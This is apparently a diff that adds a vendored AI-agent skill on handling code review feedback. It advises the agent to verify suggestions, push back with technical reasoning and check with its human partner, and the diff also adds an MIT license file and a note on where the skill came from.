+
1. Check: Technically correct for THIS codebase?
|
|
71
|
+
2. Check: Breaks existing functionality?
|
|
72
|
+
3. Check: Reason for current implementation?
|
|
73
|
+
4. Check: Works on all platforms/versions?
|
|
74
|
+
5. Check: Does reviewer understand full context?
|
|
75
|
+
|
|
76
|
+
IF suggestion seems wrong:
|
|
77
|
+
Push back with technical reasoning
|
|
78
|
+
|
|
79
|
+
IF can't easily verify:
|
|
80
|
+
Say so: "I can't verify this without [X]. Should I [investigate/ask/proceed]?"
|
|
81
|
+
|
|
82
|
+
IF conflicts with your human partner's prior decisions:
|
|
83
|
+
Stop and discuss with your human partner first
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
**your human partner's rule:** "External feedback - be skeptical, but check carefully"
|
|
87
|
+
|
|
88
|
+
## YAGNI Check for "Professional" Features
|
|
89
|
+
|
|
90
|
+
```
|
|
91
|
+
IF reviewer suggests "implementing properly":
|
|
92
|
+
grep codebase for actual usage
|
|
93
|
+
|
|
94
|
+
IF unused: "This endpoint isn't called. Remove it (YAGNI)?"
|
|
95
|
+
IF used: Then implement properly
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
**your human partner's rule:** "You and reviewer both report to me. If we don't need this feature, don't add it."
|
|
99
|
+
|
|
100
|
+
## Implementation Order
|
|
101
|
+
|
|
102
|
+
```
|
|
103
|
+
FOR multi-item feedback:
|
|
104
|
+
1. Clarify anything unclear FIRST
|
|
105
|
+
2. Then implement in this order:
|
|
106
|
+
- Blocking issues (breaks, security)
|
|
107
|
+
- Simple fixes (typos, imports)
|
|
108
|
+
- Complex fixes (refactoring, logic)
|
|
109
|
+
3. Test each fix individually
|
|
110
|
+
4. Verify no regressions
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
## When To Push Back
|
|
114
|
+
|
|
115
|
+
Push back when:
|
|
116
|
+
- Suggestion breaks existing functionality
|
|
117
|
+
- Reviewer lacks full context
|
|
118
|
+
- Violates YAGNI (unused feature)
|
|
119
|
+
- Technically incorrect for this stack
|
|
120
|
+
- Legacy/compatibility reasons exist
|
|
121
|
+
- Conflicts with your human partner's architectural decisions
|
|
122
|
+
|
|
123
|
+
**How to push back:**
|
|
124
|
+
- Use technical reasoning, not defensiveness
|
|
125
|
+
- Ask specific questions
|
|
126
|
+
- Reference working tests/code
|
|
127
|
+
- Involve your human partner if architectural
|
|
128
|
+
|
|
129
|
+
**If you're uncomfortable pushing back out loud:** Name that tension, then tell your partner about the issue you've seen. They'll appreciate your honesty.
|
|
130
|
+
|
|
131
|
+
## Acknowledging Correct Feedback
|
|
132
|
+
|
|
133
|
+
When feedback IS correct:
|
|
134
|
+
```
|
|
135
|
+
✅ "Fixed. [Brief description of what changed]"
|
|
136
|
+
✅ "Good catch - [specific issue]. Fixed in [location]."
|
|
137
|
+
✅ [Just fix it and show in the code]
|
|
138
|
+
|
|
139
|
+
❌ "You're absolutely right!"
|
|
140
|
+
❌ "Great point!"
|
|
141
|
+
❌ "Thanks for catching that!"
|
|
142
|
+
❌ "Thanks for [anything]"
|
|
143
|
+
❌ ANY gratitude expression
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
**Why no thanks:** Actions speak. Just fix it. The code itself shows you heard the feedback.
|
|
147
|
+
|
|
148
|
+
**If you catch yourself about to write "Thanks":** DELETE IT. State the fix instead.
|
|
149
|
+
|
|
150
|
+
## Gracefully Correcting Your Pushback
|
|
151
|
+
|
|
152
|
+
If you pushed back and were wrong:
|
|
153
|
+
```
|
|
154
|
+
✅ "You were right - I checked [X] and it does [Y]. Implementing now."
|
|
155
|
+
✅ "Verified this and you're correct. My initial understanding was wrong because [reason]. Fixing."
|
|
156
|
+
|
|
157
|
+
❌ Long apology
|
|
158
|
+
❌ Defending why you pushed back
|
|
159
|
+
❌ Over-explaining
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
State the correction factually and move on.
|
|
163
|
+
|
|
164
|
+
## Common Mistakes
|
|
165
|
+
|
|
166
|
+
| Mistake | Fix |
|
|
167
|
+
|---------|-----|
|
|
168
|
+
| Performative agreement | State requirement or just act |
|
|
169
|
+
| Blind implementation | Verify against codebase first |
|
|
170
|
+
| Batch without testing | One at a time, test each |
|
|
171
|
+
| Assuming reviewer is right | Check if breaks things |
|
|
172
|
+
| Avoiding pushback | Technical correctness > comfort |
|
|
173
|
+
| Partial implementation | Clarify all items first |
|
|
174
|
+
| Can't verify, proceed anyway | State limitation, ask for direction |
|
|
175
|
+
|
|
176
|
+
## Real Examples
|
|
177
|
+
|
|
178
|
+
**Performative Agreement (Bad):**
|
|
179
|
+
```
|
|
180
|
+
Reviewer: "Remove legacy code"
|
|
181
|
+
❌ "You're absolutely right! Let me remove that..."
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
**Technical Verification (Good):**
|
|
185
|
+
```
|
|
186
|
+
Reviewer: "Remove legacy code"
|
|
187
|
+
✅ "Checking... build target is 10.15+, this API needs 13+. Need legacy for backward compat. Current impl has wrong bundle ID - fix it or drop pre-13 support?"
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**YAGNI (Good):**
|
|
191
|
+
```
|
|
192
|
+
Reviewer: "Implement proper metrics tracking with database, date filters, CSV export"
|
|
193
|
+
✅ "Grepped codebase - nothing calls this endpoint. Remove it (YAGNI)? Or is there usage I'm missing?"
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
**Unclear Item (Good):**
|
|
197
|
+
```
|
|
198
|
+
your human partner: "Fix items 1-6"
|
|
199
|
+
You understand 1,2,3,6. Unclear on 4,5.
|
|
200
|
+
✅ "Understand 1,2,3,6. Need clarification on 4 and 5 before implementing."
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
## GitHub Thread Replies
|
|
204
|
+
|
|
205
|
+
When replying to inline review comments on GitHub, reply in the comment thread (`gh api repos/{owner}/{repo}/pulls/{pr}/comments/{id}/replies`), not as a top-level PR comment.
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 Jesse Vincent
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
# Vendored skill
|
|
2
|
+
|
|
3
|
+
- Source: https://github.com/obra/superpowers
|
|
4
|
+
- Path in source: skills/requesting-code-review
|
|
5
|
+
- Commit: b36e0829c6d0140e93cfef2ca599b1b07d4a7797
|
|
6
|
+
- Retrieved: 2026-08-17
|
|
7
|
+
- License: MIT — see `LICENSE` in this directory.
|
|
8
|
+
- One of several skills cherry-picked from the much larger superpowers framework; not a full vendor of that repo.
|
|
9
|
+
- Renamed from `requesting-code-review` to `agemon-review-request` for agemon branding — installed skills should read as agemon's own, not a third-party project name.
|